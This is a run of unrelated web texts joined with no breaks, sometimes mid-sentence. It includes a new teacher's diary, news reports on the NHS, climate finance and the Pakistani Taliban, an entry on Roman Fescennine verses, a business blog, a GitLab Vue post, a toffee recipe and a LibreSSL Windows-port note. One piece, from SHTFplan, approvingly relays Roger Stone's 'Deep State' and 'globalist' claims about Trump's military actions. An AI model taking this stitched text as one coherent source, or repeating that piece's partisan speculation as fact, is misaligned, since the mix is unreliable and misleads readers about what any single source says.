Feeling unsettled about Savannah. One of the guys in the department was very excited that I might teach there. Most of the others present were lukewarm or chilly. No matter what goes down, that school could really use me -- or someone like me. Not a one had any field experience to speak of. July 1: Sent a resume in response to a newspaper ad for an art position at Eldred Central School in Sullivan County. This is the first of a new-generation resume that excludes dates that can pinpoint my age. Vern and others had advised me to do this. They look for the age thing, he says. Gee-whiz, golly, I thought age discrimination was illegal! July 7: Flew back to Savannah to teach a workshop as part of the job application process. Great time with the students. We'll get back to you, they say. July 9: The Eldred principal, Ivan Katz, called today. Asked if I could come in for an interview on Tuesday. Told him we were going to the beach tomorrow. He said, "How about today?" So I drove over. Nice guy -- loves the Hulk. An amazing school -- like something out of "Father Knows Best." Built in 1941, brick, with high ceilings and the old slate blackboards. Lots of varnished wood trim and parquet floors. Neat. July 13: Haven't enjoyed the vacation (Bethany Beach, Del.), obsessing about whether somebody will offer a job. I keep calling home to see if there have been any messages on the machine. Finally, there was a message from Eldred to give them a call. Yes! Nothing from Savannah. July 19: Called Savannah. The department chairman said there never was really a job, the ad was an old ad, run by mistake, blah, blah, blah. Sorry, hope you weren't inconvenienced, and so on. Talk about backpedaling. July 20: Met with the Eldred superintendent, Candace Mazur. I sat on the front steps for a few minutes before the meeting, and I noticed the sign in front was painted in the school colors -- green and gold, the same as my high school. Their mascot is a yellow jacket, ours was a hornet. I was my usual overtalkative self, but she didn't hold it against me. She offered the position. Seventh-grade art, remedial math and a class with special-ed kids. It feels nice to be wanted. I feel pretty good about teaching in a public school, like maybe I can make a contribution. That's corny. Sept. 8: First day of class at Eldred. Up at 5 a.m. Very foggy on Route 17. It's a little over an hour, door-to-door, but I enjoy the transition time. Even though today is more or less an orientation day, I got them drawing the last 20 minutes. The kids are great, a little rambunctious, but it seemed almost too easy. Sept. 13: Monday morning. Man, it's early. Forgot my lunch, my wallet and my money. My lessons are organized, but my life isn't. Bruce, the high school art teacher, says I should put my car keys and wallet in the fridge with the lunch bag. He's got 30 years of teaching experience, so I listen to everything he says. The class came up with rules for conduct. Assigned a dictionary person. If an unfamiliar word arises, that person will look it up. We'll keep a list. Also, introduced the riddle of the week. We get until Friday to figure it out. Winners get a fancy refrigerator magnet. Sept. 14: Reviewing basic elements of art, which are part of state guidelines. I didn't know what they were myself until I started teaching. I explain, they draw examples. Seems a little boring to me. Sept. 16: Had to have a little talk with a student. Some are very accomplished at being passive-aggressive. Down to a science, in fact, regular Einsteins at it. I tend to cut the kids a lot of slack. I told them in the beginning they would have more freedom in this class than others, because of the workshop environment. They are beginning to run with that ball. I should have kept my big mouth shut. Sept. 21: I think I'm suffering from post-job-getting depression today. It's like, O.K., here you are, now what? The kids are having a good time with the diorama. I showed them how to make palm trees out of brown wrapping paper and construction paper. Sept. 24: Something like an anxiety attack upon arriving. It slipped away as things got moving, but I felt shaky. Maybe I am too old for this. The kids were wound up. Maybe they sensed something. I'm trying to develop that certain "face," but it doesn't come natural. Sept. 27: A couple of kids were really off the wall today. I suppose I should write them up. I have refrained from doing that because they calm down after a talking-to. I know disruptions take away from the rest of the class. But if the class is a minicommunity, which I believe it is, doesn't the class as a whole have a responsibility toward the one, just as much as the one has a responsibility toward the class? In society, I'm not sure it's right to remove the offender, and everyone else goes along, business as usual. Everyone has to be responsible. Sept. 28: Feeling pretty good today, and the class went extremely well. Angels all. I concluded that the way the class acts is in response to the way the teacher acts in various subtle ways. The trick is to keep positive no matter what. I struggle with this. Oct. 15: Teaching is like flying a plane. You leave school one day feeling like you're spiraling down toward the trees, expecting that the next day the crash will come. You brace yourself for the impact, only to find that things have leveled out at treetop height, and you climb and enjoy the remainder of the flight. Oct. 22: Ordered a varsity jacket today. Green and gold with my old baseball number, 5. Nov. 4: Second-period art class observed and evaluated by Ivan, the principal, today. The kids were perfect, and I didn't bribe them. Postevaluation meeting went well. He thinks I can teach. I felt pretty good. Nov. 5: Friday. Half-day today. If Ivan had been here today he would have fired me. I had two kids on the floor who wouldn't get up, the occasional missile across the room, endless interruptions. I gave up. Are real teachers supposed to say that? Dec. 1: Feeling very positive the last couple of weeks. Administration and staff very supportive. Got my varsity jacket today. Full circle. Do-It-Yourself Studies With distance learning booming as an education option, independent study has become even more flexible. Adults who are unable to attend traditional colleges can design their own course of study to suit their schedules and interests. Here is a sampler of colleges that can help: Skidmore College: In the University Without Walls, two advisers help each student develop avenues of study. Classes can be taken with traditional students on campus, in Saratoga Springs, N.Y., or at institutions close to where students reside. Online courses are also offered by Skidmore and other institutions, and credit is given for experiences like working in a Head Start classroom. Applicants can apply year round. (518) 580-5450; uww@skidmore.edu; www.skidmore.edu. State University of New York, Empire State College: Founded for nontraditional students seeking a bachelor's or master's degree, Empire State allows students to enroll any time of the year, except August, part or full time. A mentor is assigned to help create an individualized program, which can include classes at one of 45 study centers in the state as well as tutorial help for courses. Credits are given for "college-level learning gained from life experience," according to the literature. (212) 647-7800
, Hawking was not British," Mr Zengerle wrote. It's worth emphasizing, for those who remain confused and misled, that Democratic reform proposals would not create a British system Steve Benen Washington Monthly "I'm just reluctant to credit the IBD writer with the sufficient smarts to concoct such a lie. Seems like basic stupidity is the easier explanation here." The IBD's fundamental charge was that President Obama's healthcare plans would lead to the rationing of healthcare, and that rationing is a feature of the British system. This point was echoed by conservative blogger Michelle Malkin, who warned that "the effects of socialised medicine in Britain - engineered by government-run cost-cutting panels on which Obamacare would be modelled - continue to wreak havoc on the elderly and infirm." In making this point, Ms Malkin was explicitly re-affirming the assertion made by former Republican vice-presidential candidate Sarah Palin, that Mr Obama wanted to create a "death panel" to decide whether the elderly or disabled are "worthy of health care". Top topic Liberal bloggers in the US have rejected the accusations made by these prominent conservatives. Washington Monthly's Steve Benen argued that the healthcare plans put forward by Mr Obama and his fellow Democrats bore no resemblance to the UK system. "It's worth emphasizing, for those who remain confused and misled, that Democratic reform proposals would not create a British system. The comparison doesn't even make sense in any substantive way, and the very premise of the IBD attack, which has been widely parroted by the far-right, reflects a fundamental lack of intellectual honesty and seriousness." Matthew Yglesias, blogger for the liberal Centre for American Progress, lamented the fact that Mr Obama was not planning to follow the British example. "The NHS is a pretty great model and the British are on to something... if you were actually able to get British levels of care for British price levels [in the US] you could redirect [the savings] to trying to improve the social circumstances of the poor, trying to reduce exposure to health hazards, and building infrastructure (trains, sidewalks, bike paths, even the dread parks) suited to less sedentary lifestyles. We'd be much better off that way." The American conservatives' criticisms of the NHS, and an appearance by British Conservative MEP Dan Hannan on Fox News, in which he bemoaned the state of healthcare in the UK, has prompted thousands of British Twitter users to rush to its defence. By early Wednesday evening UK time, the #WeLoveTheNHS hashtag had become one of the top trending topics on the global site. Some Twitter users, like Luke Richards, offered general words of support. "I'm proud of our health service. It's one of this country's best achievements of the past century," he wrote. Others, like Claire Thompson of Reading, highlighted the life-saving treatment that they or their friends and relatives have received. "My father had heart surgery last year, and my husband's life was saved after a fall - not perfect, but great when it matters," she tweeted. Most seemed to reflect the feeling that despite its shortcomings, the British remain defiantly proud of the health service in the face of transatlantic criticism.NEW YORK (Reuters) - Institutional investors managing trillions of dollars should shift their portfolios away from fossil fuel investments toward cleaner energy sources to put a stop to the dangerous rise in global temperatures causing climate change, the United Nations’ climate chief said on Wednesday. U.N. Convention on Climate Change Executive Secretary Christiana Figueres talks during the opening ceremony of the plenary session of the high-level segment of the 18th session of the Conference of Parties (COP18) of the United Nations Framework Convention on Climate Change (UNFCCC) in Doha December 4, 2012. REUTERS/Fadi Al-Assaad Christiana Figueres, executive secretary of the UN Framework Convention on Climate Change, told an investors conference at the United Nations that their investment decisions should reflect the latest scientific evidence of dangerous climate change to protect the health and financial savings of ordinary citizens well into the future. “The pensions, life insurances and nest eggs of billions of ordinary people depend on the long-term security and stability of institutional investment funds,” she said in prepared remarks. “Climate change increasingly poses one of the biggest long-term threats to those investments and the wealth of the global economy,” Figueres added. She said the private sector will need to play a crucial role to ensure that global temperatures do not rise more than 2 degrees Celsius (3.6 degrees Fahrenheit), a threshold that UN scientists have said would avoid catastrophic climate change even as nearly 200 countries continue to negotiate a global deal to rein in global greenhouse gas emissions. “No matter how many efforts we make... that is not enough to put us on track to the 2 degrees,” she told a news conference. The fraught UN climate negotiations have a 2015 deadline to agree in Paris on a global plan to address climate change set after an eleventh-hour agreement at the last UN summit in November in Poland. The 2015 deal will consist of a patchwork of national plans to curb emissions that could blur a 20-year-old distinction between the obligations of rich and poor nations. Figueres said she expects the first of the national contributions to trickle in around September, when U.N. Secretary General Ban-Ki Moon hosts a United Nations climate change summit that will involve heads of state, business and civil society groups. She said she is already aware that some countries will need until the first part of 2015 to ready their national plans. Figueres said the September summit will “prime the pump” for what she hopes will be a successful outcome in Paris in 2015.Fescennine Verses (Fescennina carmina), one of the earliest kinds of Italian poetry, subsequently developed into satire and Roman comic drama. History [ edit ] Originally sung at village harvest-home rejoicing, they made their way into the towns, and became the fashion at religious festivals and private gatherings, especially weddings, to which in later times they were practically restricted. They were usually in the Saturnine metre and took the form of a dialogue consisting of an interchange of extemporaneous raillery. Those who took part in them wore masks made of the bark of trees. At first harmless and good-humored, if somewhat coarse, these songs gradually outstripped the bounds of decency; malicious attacks were made upon both gods and men, and the matter became so serious that the law intervened and scurrilous personalities were forbidden by the Twelve Tables (Cicero, De re publica, 4.10; see also Horace epist. 2.1.139). Examples [ edit ] Specimens of the Fescennines used at weddings are the Epithalamium of Manlius (Catullus 61) and the four poems of Claudian in honor of the marriage of Honorius and Maria; the first, however, is distinguished by a licentiousness which is absent in the latter. Ausonius in his Cento nuptialis mentions the Fescennines of Annianus Faliscus, who lived in the time of Hadrian. Etymology [ edit ] Various derivations have been proposed for the word "Fescennine." According to Festus, they were introduced from Fescennia in Etruria, but there is no reason to assume that any particular town was specially devoted to the use of such songs. As an alternative Festus suggests a connection with fascinus, the Latin word referring to a phallus-shaped amulet used to ward off the evil eye, either because the Fescennina were regarded as a protection against evil influences (see Munro, Criticisms and Elucidations of Catullus, p. 76) or because the phallus, as the symbol of fertility, would from early times have been naturally associated with harvest festivals. H. Nettleship, in an article on The Earliest Italian Literature (Journal of Philology, xi. 1882), in support of Munro's view, translates the expression "verses used by charmers", assuming a noun fescennus, connected with fas fari. See also [ edit ] Notes [ edit ] References [ edit ] Further reading [ edit ]Can you change customer behavior? Growing up in a small town, I always wanted to own a snowboard and skateboard shop. After I graduated from university with my business degree, I decided to make my dream a reality. I partnered up with a childhood friend and my brother. Together, we opened The Real Deal. We sold skateboard decks, snowboards, clothing, and accessories. We cared about our customers. Our store was well designed. We stocked the best brands. Plus, we had a point of view: "It's better to shop locally." But our potential customers didn't care about any of that. We'd aligned our shop around a concept that didn't resonate with the consumer. They already had a solution that was working for them: they drove to the big city (about 35 minutes away). They would go on a Saturday and visit multiple shops. These stores had a bigger selection than we could ever have. Additionally, in the early 2000s, internet shopping was becoming a thing. Kids were discovering they could get the same product, for less, online. Once we discovered this, we tried to change their behavior. We launched "shop local" campaigns, and tried to offer competitive pricing. We also sponsored local athletes, put on shows, and even started a magazine. But ultimately, none of that mattered. Customers were already in motion, and all our thrashing couldn't change that. Humans do what's easiest There's a popular design meme that shows a paved pathway (what the designer envisioned), and the reality (a shortcut path next to it, worn into the grass). Many entrepreneurs start their business because they have a vision for "the way things should be." That's admirable! It's what's driving Elon Musk, and Tesla, to get more electric cars on the road. But customers don't always care about your vision. Sometimes, they just want a fast, high-tech sports car, because their friends are all driving them. "Like nearly everyone who loves technology, I’ve wanted to buy a Tesla for years." – Nathan Barry We tend to align our actions with what our peers are doing, as Seth Godin puts it here: "People like us do things like this." All of this is to say: it's incredibly difficult to change human behavior. We're creatures of habit. We do what we've always done, or what others are doing. Customers don't care about your ideology. To succeed, your beliefs about "the way things should be" need to line up with what your customers desire. Cheers, Justin Jackson @mijustin Get my newsletter Thanks! You'll now receive my newsletter every week. Have questions? Email me: justin@megamaker.co Awww yeaaah! Looks like you're already on my mailing list! Have you checked out my podcast about building a SaaS? This article was originally published on August 13th, 2010. It's recently been updated.Authored by Mac Slavo via SHTFplan.com, President Trump has taken a lot of flack recently, first for his direct strike on a Syrian airfield using 59 Tomahawk missiles, then for responding to North Korean rhetoric and nuclear testing by deploying a Naval Strike Fleet to the region, and finally for dropping the world’s largest non-nuclear Mother Of All Bombs on a cave complex housing as many as 800 Islamic State fighters. For many, it appears on the surface that Donald Trump, the military industrial complex and Deep State operatives behind the scenes have war on their minds. The criticisms leveled at the President are certainly the result of real concern from his constituents, especially since as a candidate he promised to change the system and root out its corrupt and warlike culture, only to turn around and take three significant military actions within his first 100 days in office. Even if those who have railed against the President are wrong, at the very least one could argue that the criticisms are necessary in order to maintain a cross-check on the actions of the Executive Branch. But political insider Roger Stone, who at one point was head of Trump’s campaign, says that the President’s recent decisions prove he is a man of action who is very much uprooting the strategies, tactics and geo-political machinations of the old guard. According to Stone, who joined Infowars.com host Alex Jones in an interview over the weekend, President Trump is moving to permanently resolve the world’s most pressing conflicts, some of which have spanned decades: Obviously you have a group in the White House who think they are puppeteers… and they’d like to have Trump be their puppet… Donald Trump is no man’s puppet… he works for the American people… Whenever Donald trump has all the information he will almost invariably make the right decision… This is what’s happened here.. He elected to do a limited Syrian strike… His advisors immediately saw an opening to propose a full Vietnam-style ground war… 150,000 troops… The defense contractors were licking their chops they were so happy… the bad news for them was that so many Libertarians, so many non-interventionists, so many patriots, so many Trump supporters expressed their opposition or concern both publicly and privately that Trump now had the correct focus,.. Over the objections of his Defense Secretary Mattis… Over the objections of [National Security Advisor] McMaster he has elected not to expand the war… to move on. In the same breath, the President’s critics tried to say ‘oh, he’s flip-flopping on China… he didn’t break their arm about currency manipulation and our trade relationships… he’s obviously abandoned those things’. No, he hasn’t abandoned those things at all… all he’s doing is prioritizing them… getting the nukes out of the hands of a maniac in North Korea and getting China’s help to do that, which appears to be happening, is a higher priority for the President right now than currency manipulation or trade… Believe me, the Chinese are going to hear about that from Trump but right now there’s a lot of good signs… If confirmed, this rejection of these enormous shipments of coal from North Korea and the replacement of these orders to purchase coal from U.S. companies by the Chinese is highly symbolic… The Chinese are trying to tell the North Koreans, ‘quit screwing around or we’re going to have to join the coalition to take you out.’ This is all Trump diplomacy… It’s working… It’s really working. … I think the Chinese have now agreed to work with us in a partnership to slow the North Koreans down and get them out of the nuclear business… That alone would be a major breakthrough because as you point out, in the past they have been unwilling to get involved. As far as the MOAB bombing in Afghanistan… Donald Trump was very forthright in his campaign that he was going to crush ISIS. ISIS is a loose end created by the foreign policy of the globalists, George Bush, George W. Bush, Hillary Clinton, and Barrack Obama. Trump doesn’t have the option of doing nothing… but with a non-interventionist foreign policy going forward we won’t be creating any new organizations like ISIS. As both Jones and Stone suggest, Trump’s latest moves are actually a step in the right direction, as they are cleaning out the mess created by his predecessors. Watch the full interview with Roger Stone: What do you think? Is President Donald Trump doing the bidding of the Deep State? Or are his latest military actions a long-term strategy designed to finally and completely eliminate the decades’ long threats America has faced under previous globalist leaders?It's been a while since we wrote about Vue. We've been using Vue for over a year now and life has been very good. Thanks @lnoogn for reminding me to write this article! Our situation reminds me of a quote about Scala from "Is Scala slowly dying?" Someone once said: Scala people don't have time for redditing and blogging, they're busy getting crap done. Which is exactly what we've been doing. Like Scala, Vue works really, really well, when used properly. It turns out Vue isn't a buzzword, Vue is a workhorse. A lot of our problems have been solved, by us and others. We still have problems but, we now have a reproducible "way to write Vue." We don't adopt every new idea out there, but we have changed a few things since we last spoke. Since that last post, we published a very extensive Vue style guide, after which Vue also put out a style guide, taking inspiration from ours. The style guide has been updated several times as we discover better ways to write Vue. Here are some of the things we discovered. Just use VueX We discovered that VueX makes our lives easier. If you are writing a medium to large feature, use VueX. If it's a tiny feature, you might get away without it. We made the mistake of not using VueX for a large feature. We wrote a multi-file editor (WIP) to replace our current repo file view, to allow easy editing of multiple files. In the beginning we did not use VueX for this feature and instead used the store pattern. The Vue docs talk about the store pattern, which works well when you are committed to strictly keeping to the pattern. We've found that you are better off spending your time with VueX instead. While VueX is initially more verbose, it is much more scalable, and will save you tons of time in the long run. Our mistake happened when we changed the data in multiple places. In VueX you are forced to change the data in one central place. If you don't do this, you will wind up chasing unexpected bugs around. Write high quality code Even though VueJS and VueX are both wonderful, it is still possible (as with any code) to write bad Vue code. While the code may work, your longevity and scalability may suffer. Performance can suffer. With Vue, it makes it so easy to have what seems like working, perfect code because Vue is so simple to write. Longevity problems can mean that your code initially works, but you (and others) will have a hard time trying to update the code. Performance problems might not crop up with small data sets, but will with larger ones. Code can get messy. Your code can get smelly. Yes, even with Vue, you can have code smell. When you add something to the data object or the store for Vue to keep track of, Vue will recursively walk down your data object and keep track of everything. If your data is super hierarchical and just large in general, and you are changing things often (like maybe on mousemove ), then you can create jank. It's not bad to have Vue observe large data sets, but just confirm that you do in fact need the data you are watching to be reactive. It's easy with Vue to just make everything reactive, when it might not need to be. That's why we are very strict when anyone writes Vue code. They must follow our documentation. They must also only write Vue when it is necessary and not write it when it is overkill. All of our new Vue code follows the Flux architecture. VueX also follows Flux, which is part of the reason we use VueX. You can use the previously mentioned "store pattern," but VueX is a better choice because it enforces all of the rules. If you go rogue, you will wind up enforcing the rules yourself, and you will probably make mistakes. The less you put on your plate, the better. A good example of a well-written Vue app is the registry image list. I want to use jQuery with Vue During new development, this question kept popping up. Is it ever OK to mix jQuery with VueJS? We are not talking about using Select2, which is a jQuery library. We are talking about the need to query the DOM. We had discussions about using jQuery and the following was proposed: Using jQuery is OK, but only for querying. At first I had several discussions about using jQuery with Vue. Some had said it might be OK, but only in read-only (querying) situations. However, after doing the research, we found that it is not a good idea to use jQuery with Vue. There will always be a better solution. We found that if you ever find yourself needing to query to DOM within a Vue architecture, then you are doing something wrong. If one were to hypothetically use jQuery for only the tiniest querying situations, one would have to quantify those situations. You should instead swear off querying the DOM when in Vue. Instead of querying, you will find that using the store in combination with the server-side code is usually a much simpler answer. The server can provide validity to your data that you cannot provide on the client side. For the most part, we find that the less we have to fool with the data on the client side the better. That's not to say it's never OK to modify the data on the client side, but that it isn't usually the cleanest solution. At GitLab we use querying only to grab endpoints from the data attribute of our main element, but we don't use jQuery, we use el.dataset. At GitLab, we (the Frontend people) talk with the Backend people to ensure the structure of the data we will be consuming. In that way, both the Frontend team and the Backend team can be in control. Example situation: Check out this issue: We now render all issue comments in Vue. An example of a situation where we wanted to use jQuery was during the rewrite of the edit-the-last-user-comment feature. When someone presses that up key on their keyboard from an empty new comment textarea (at the very bottom of the page) we allow them to edit the last comment they created, just like in Slack. Not just the last comment, but the last comment they created. We marked the last user comment in the picture in red. Of course there is a time crunch. Then someone might say, Can't we just do a quick solution here and fix it later? Surely you could query the DOM for this. A better solution, in this case, is to let the backend developers mark the last user comment in the JSON they return. Backend developers have direct access to the database, which means they may be able to optimize the code. Then no client-side work has to be done at all, in this case. Someone has to do the work to mark the last user comment. In this case the solution is just finding the right person for the job. Once you have that data from the server, the comment is in your store, ready for your easy access. You can do anything now. The world is your oyster. If you find yourself querying the DOM, "just this one time" 😉, there is always a better solution. The proper Vue app Every Vue bundle needs one store, one service, and always has one entry point. Your entry point component is the only container component and every other component is presentational. All this information is in our Vue docs. You can start out with a single div. <!--HAML-->.js-vue-app{ data: { endpoint: 'foo' }} <!--HTML--> <div class= "js-vue-app" data-endpoint= "foo" ></div> You can pass your endpoints in through the data attributes. Vue can then call these endpoints with an HTTP client of your choice. You don't want to do any URL building in client-side JavaScript. Make sure you pass in all your server-built URLs through endpoints. When writing Vue it's important to let the server do what it should. Improve performance We recently rewrote our issue comments in Vue. The issue comments were previously written in Haml, jQuery, and Rails. We had a bottleneck because we were not loading the comments asynchronously. A quick solution is to load comments via ajax and populate comments after the page loads. One way to make a page load faster is to not block the page with heavy items and load them after. What we love is that one day we turned on the new comments and some people didn't know that we had refactored it. As a result of the refactor our issue pages load much faster, and there is less jank. Loading the comments on the issue page is now streamlined and now individual issues load much faster. In the past, an issue page could have tens of thousands of event listeners. Our previous code was not properly removing and keeping track of event listeners. Those massive event listeners (along with other problems) created jank, so scrolling the page was choppy with many comments. We removed jQuery and added in Vue and focused on improving the performance. You can clearly see and feel that the page is much faster. However, our work to improve the performance has just begun. This rewrite sets the foundation for performance improvements that are easier to write, because the code is much more maintainable. Previously the code was hard to maintain. Now the issue comments code is properly separated and "componentized." With these new improvements, as well as other parallel improvements, e.g. loading images on scroll, we were able to make the page load and perform faster. Refactoring is that word that a new, super-green developer mentions on day one when they suggest to rewrite everything in Angular. That hasn't happened at GitLab. Our frontend devs tend to be very conservative, which is a very good thing. Which begs the question, why does it seems like everyone is always refactoring? What are they trying to achieve? I can only speak for GitLab. What do we want to achieve with a refactor? In reality it's going to cost a lot of money. The costs are: Cost of doing the refactoring. Cost of testing the change. Cost of updating tests and documentation. You also have more risk: Risk of introducing bugs. Risk of taking on a huge task that you can't finish. Risk of not achieving the quality/improvements you intended. Our goals are: Goal #1: Make the code more maintainable. We want to make the process of adding new features easier. In the long term this refactor will save us time, but it takes a significant amount of time to recoup the time spent refactoring. The hard truth may be that a refactor usually does not save you time, but can save you stress. Goal #2: What it can do, if done right, is make developers happy. Nothing gives your team more horsepower than a happy, excited coder. A stressed-out coder will want to stop coding; an excited coder will not want to stop. A happy coder saves the most time. To meet our goal our next step is to refactor the merge request comments section. Our merge request comments are massively slow for merge requests with lots of comments. The comments become slower and start to be less responsive at around 200 comments. The diffs are slow as well. There are a ton of reasons for this, one of which is that JavaScript is causing multiple reflows that take tons of time. We could refactor this and have already put in a fix, but this isn't a long-term solution. In the case of a huge MR, there was code that was causing a reflow that takes over eight seconds! This is now fixed. In this image you can see there is other stuff slowing things down. Clearly there is a lot of work to do here. Our biggest problem is that the code is not maintainable, which means that fixes take longer. A refactor into Vue will provide some great initial speed improvements, and lay the groundwork for easier improvements in the future. There is so much work to do at GitLab. If you want to be a part of exploring the massive catacombs of GitLab and writing awesome code and if you are interested in helping out our Frontend team, then apply.I love candy. Anyone who knows me for even like 15 minutes knows that I have a sugar addiction. I particularly like chocolate…and cookies…and ice cream….OK, I pretty much love it all. Some of my fondest childhood memories are with my Dad baking cookies and pies. I am certain I got my sweet tooth from him and he took full responsibility for that by making sure I knew how to create confections by age 10. Thank you, Dad. Every year for the holidays I go a little nuts making sugary goodies for my family and friends. Not to brag (too much) but my peanut butter chocolate candies are basically legendary in my circle. They are pretty labor intensive and time consuming though. Every year I’m reminded (while covered in sugar and chocolate) why I only make them once a year. I do have some rather easy recipes up my sleeve for the holidays, though. Today I’d like to share one of my new-found favorites – English Toffee. This recipe is super easy and is basically only two steps. It does requires a candy thermometer, though. But you can find one pretty inexpensively at any box store or grocery store in the kitchen gadget aisle. I highly recommend that you own one. It will come in handy time and time again. English Toffee My husband and I also call this “crack candy” because we simply cannot stop eating it. It’s a love/hate relationship. Supplies : Candy Thermometer Heavy Saucepan Whisk or other stirring utensil(s) and a scraper Cookie Sheet Double Boiler (You can create a make-shift one by putting a smaller saucepan into a larger one. ) Ingredients : 1 Cup Butter (Don’t even THINK about replacing this! Use the real deal.) 1/2 Cup White Sugar 1/2 Cup Brown Sugar 1/4 Cup Water 1/2 Teaspoon Salt 1/2 cup (or more) Chocolate Chips (I like to use a mix of super dark 60% cocoa chocolate chips and semi-sweet chocolate chips) 1 Cup Coarsely Chopped Pecans (or any other nuts you may want to use. I also added holiday colored sprinkles to this batch) Directions: Step 1 Grease a cookie sheet with butter In your saucepan, combine butter, sugar, water, and salt. Cook over medium heat, stirring until butter is melted, and sugar and salt have dissolved Cook to hard-crack stage (300°F) stirring constantly and watching carefully (sugar burns easily!). Once your candy thermometer reads 300°F, take mixture off of heat and immediately pour into greased cookie sheet. Cool until hard (feel free to put it in the fridge to expedite the cooling process). Step 2 While your toffee is cooling, melt chocolate over hot, but not boiling water in your double boiler. Spread melted chocolate over cooled, set toffee. Sprinkle with nuts and any other decorations you want, lightly pressing them into chocolate. Let stand for an hour or two (or about 30 minutes in the fridge) until chocolate has cooled and set Break into bite-size pieces. That’s it! You’re done! Nice job! However now you have a very difficult decision to make – do you give it to family and friends as a nice holiday treat, or do you keep it all for yourself? You might want to make a double batch just in case you can’t make up your mind. I know that’s what I had to do. So what are your favorite holiday treats? Do you have any sweet Christmas traditions/recipes you MUST do every year? I’d love to hear about them! I hope you all have a wonderful, warm, love filled holiday season! Remember to take time for yourself, hug lots of people and eat plenty of good food. Namaste! AdvertisementsISLAMABAD (Reuters) - The killing of one of Pakistan’s most wanted Islamic militants in a U.S. drone strike has exposed centuries-old rivalries within the group he led, the Pakistani Taliban, making the insurgency ever more unpredictable and probably more violent. Pakistani Taliban chief Hakimullah Mehsud (C) sits with other millitants in South Waziristan October 4, 2009 in this video grab taken from footage released October 5, 2009 file photo. REUTERS/Reuters TV Hakimullah Mehsud’s death this month has set off a power struggle within the outfit’s ranks, which could further unnerve a region already on tenterhooks with most U.S.-led troops pulling out of neighboring Afghanistan in 2014. When a tribal council declared Mullah Fazlullah as the new leader of the Pakistani Taliban last week, several furious commanders from a rival clan stood up and left. “When Fazlullah’s name was announced, they... walked out saying, ‘The Taliban’s command is doomed’,” said one commander who attended the November 7 ‘shura’ meeting in South Waziristan, a lawless Pakistani tribal region on the Afghan border. Others at the shura declared loyalty to the hardline new leader and stayed on to map out a plan to avenge Hakimullah’s death through a new campaign of bombings and shootings. “This is the start of our fight with the Pakistan government, an American puppet,” the Taliban official said. “Those who forced the Soviet Union out of Afghanistan are capable of breaking up Pakistan,” he added, alluding to senior commanders whose rite of passage into war started with the rebellion against Soviet troops in Afghanistan in the 1980s. The Pakistani Taliban have always been divided, a loose alliance of militant bands united only by jihadist beliefs and their hatred of the government and all things Western. The group operates independently of its Taliban allies in Afghanistan, who are fighting U.S.-backed forces there. But the death of Hakimullah, a member of the dominant Mehsud tribe, and the rise of Fazlullah, a Swat Valley native and hence an outsider in the eyes of tribesmen, changes the picture in the Tehrik-i-Taliban Pakistan (TTP), or Pakistani Taliban. Under Hakimullah, the TTP had been open to the idea of peace talks with the Pakistani government, even though no meaningful negotiations had taken place. Fazlullah ruled out any talks and declared the start of a new campaign to attack government and security installations in Punjab, Prime Minister Nawaz Sharif’s political base. “Mehsuds are not only not happy with this appointment but there are reports of serious infighting among them that might come to the fore in the near future,” said Saifullah Mahsud, director of the Pakistani think tank FATA Research Center. “I think for now the anti-peace talks group among the TTP has prevailed and hence the appointment of Fazlullah,” said Mahsud, who compiles data based on information provided by his sources on the ground in the tribal Pashtun areas. AFGHAN LINKS Fazlullah’s threat against Punjab has unnerved Pakistan’s most prosperous and populous province, where attacks have so far been rare. Various Pakistani militant groups, including the Sipah-e-Sahaba, Lashkar-e-Jhangvi and Jaish-e-Mohammad, are based around Punjab and have been long tolerated or even sponsored by Pakistan’s powerful military and intelligence establishment. Some of them were set up to fight Indian forces in disputed Kashmir, but they have turned on Pakistan in recent years thanks to the growing influence of the TTP and al Qaeda, and have become increasingly involved in Taliban affairs. “The situation is getting out of control and the ISI knows that,” said one Western diplomat in the capital Islamabad, referring to the Pakistani military’s powerful intelligence arm. As the dynamic within the militancy evolves, powerful Punjabi groups are also beginning to turn their heads westwards, with many seeing the pullout of U.S. troops from Afghanistan as a chance to expand their reach to tribal areas. During a recent meeting with Reuters in the Pashtun city of Mardan, a group of militants - who sat cross-legged on the floor of a mud-brick safe house sipping tea and eating biscuits - said the Afghan cause was close to their hearts “We want peace in Afghanistan under Mullah Omar’s leadership,” said Abdurakhman, a militant with Jaish-e-Mohammad, a group usually focused on Kashmir, others nodding in agreement. Mullah Omar is the chief of the Afghan Taliban. “When the Americans leave, elders will sit down with Mullah Omar and decide. If there is a need to fight, we will recruit and send people there.” Sitting next to him, Farhatullah, a middle-aged man with the Hizbul Mujahideen group, said he used to fight against Indian forces in Kashmir but was now ready to go to Afghanistan. “We are the reserve force,” he said. “If needed I will... take my gun, go there and fight.” RIFT The TTP publicly rubbishes any talk of a major rift among its ranks. A Taliban spokesman has confirmed Fazlullah’s appointment and said there would be no more peace talks with the government. Operatives from al Qaeda and the Haqqani network, a powerful militant group based in the mountains of North Waziristan, are also working hard to smooth over any disputes, sources say. Mullah Omar, the reclusive, one-eyed leader of the Afghan Taliban, is said to have stepped into the debate and backed Fazlullah’s candidacy. Fazlullah knows Omar personally, having fought alongside his men in Afghanistan in 2001. Fazlullah is still holed up in his base in Nuristan, a thickly forested Afghan region favoured by many Pakistani militants hiding from U.S. drones. To reassert control over feuding groups he would have to come back and establish a foothold in Pakistan. “He is a non-resident commander, he is not present physically,” said a Pakistani intelligence source. “But he has two advantages: He’s got a lot of money and he has Afghan support.”Brent Cook (bcook@) wrote in to let us know that he's completed the initial work to get LibreSSL working on Win32 platforms: I got a Windows 8.1 box running this weekend and spent some quality time making poll(2) emulation more robust, so that it can deal with more of the select->poll conversions in openssl(1) coming in the future. I also got the upstream poll conversion patches themselves in better working order. This Windows port is now achieved without any #ifdefs or odd workarounds. So, it should be possible to maintain support without having too many new warts in the LibreSSL tree. So, what can it do now? Well, you can run this command in a powershell window: .\apps\openssl.exe s_server -cert tests\server.pem and this in another: .\apps\openssl.exe s_client and type on the console back and forth interactively. You can also run this from powershell and still get the expected result: cat.\README \| apps\openssl.exe s_client -connect 127.0.0.1:4433 No big deal for those fancy 'everything works like a file' operating systems, but Windows very special in its handling of sockets vs. console IO vs pipes. Performance-wise, it's currently about 50x slower than Cygwin's native openssl.exe, but I have not begun to optimize anything yet. https://github.com/busterb/portable/commits/win32-minimal https://github.com/busterb/openbsd/commits/win32-minimal - Brent
